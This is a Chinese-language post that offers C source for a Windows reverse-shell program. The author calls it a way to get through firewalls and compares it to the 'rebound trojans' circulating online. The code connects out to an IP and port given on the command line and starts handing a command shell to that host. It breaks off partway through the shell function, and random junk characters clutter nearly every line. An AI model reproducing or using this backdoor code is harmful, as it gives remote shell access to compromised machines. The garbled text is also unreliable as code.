这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 &c%;Lo
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/* ============================== jt=%oa
Rebound port in Windows NT +/E`u|%|\]
By wind,2006/7 [f 4Nq \i
===============================*/ hX;JMQ915
#include (Rj'd>%c
#include ):-\TVz~
#pragma comment(lib,"wsock32.lib") jOV,q%)^,:
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void OutputShell(); \iVb;7r)9:
SOCKET sClient; O!xul$9
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; ROb2g|YXG
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void main(int argc,char **argv)
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{ gqw
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WSADATA stWsaData; ^N#z&oh
int nRet; Q6%dM'fR
SOCKADDR_IN stSaiClient,stSaiServer; Q0l[1;$#
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if(argc != 3) @~1}n/
{ },#@q_E
printf("Useage:\n\rRebound DestIP DestPort\n"); l<X8Ooan#{
return; w\SfzJN
} x`9IQQ
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WSAStartup(MAKEWORD(2,2),&stWsaData); @,kR<1
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); PLoD^3uG)
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stSaiClient.sin_family = AF_INET; jxeZ,w o
stSaiClient.sin_port = htons(0); -aSj-
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); pT ]: TRPS
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) z"D'rHxy
{ Lgr(j60s
printf("Bind Socket Failed!\n"); ;fiH=_{us
return; 9IfeaoZZ4q
} so=Ux2
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stSaiServer.sin_family = AF_INET; ny++U;qi
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); NRIp@PIF:"
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); Z@f4=
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) ,;%F\<b
{ )b\89F
printf("Connect Error!"); e:`d)GE
return; #" &<^
} 0[L)`7
OutputShell(); Wks?9)Is
} ^VL",Nt
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void OutputShell() *gGL5<%T:
{ S29k IJ
char szBuff[1024]; jq_E{Dq1
SECURITY_ATTRIBUTES stSecurityAttributes; X7."hGu@
OSVERSIONINFO stOsversionInfo; i`st'\I
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; A*x3O%zH
STARTUPINFO stStartupInfo; F4:giu ht
char *szShell; J!+)v
PROCESS_INFORMATION stProcessInformation; u*w'.5l
unsigned long lBytesRead; {>r56\!F
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); <&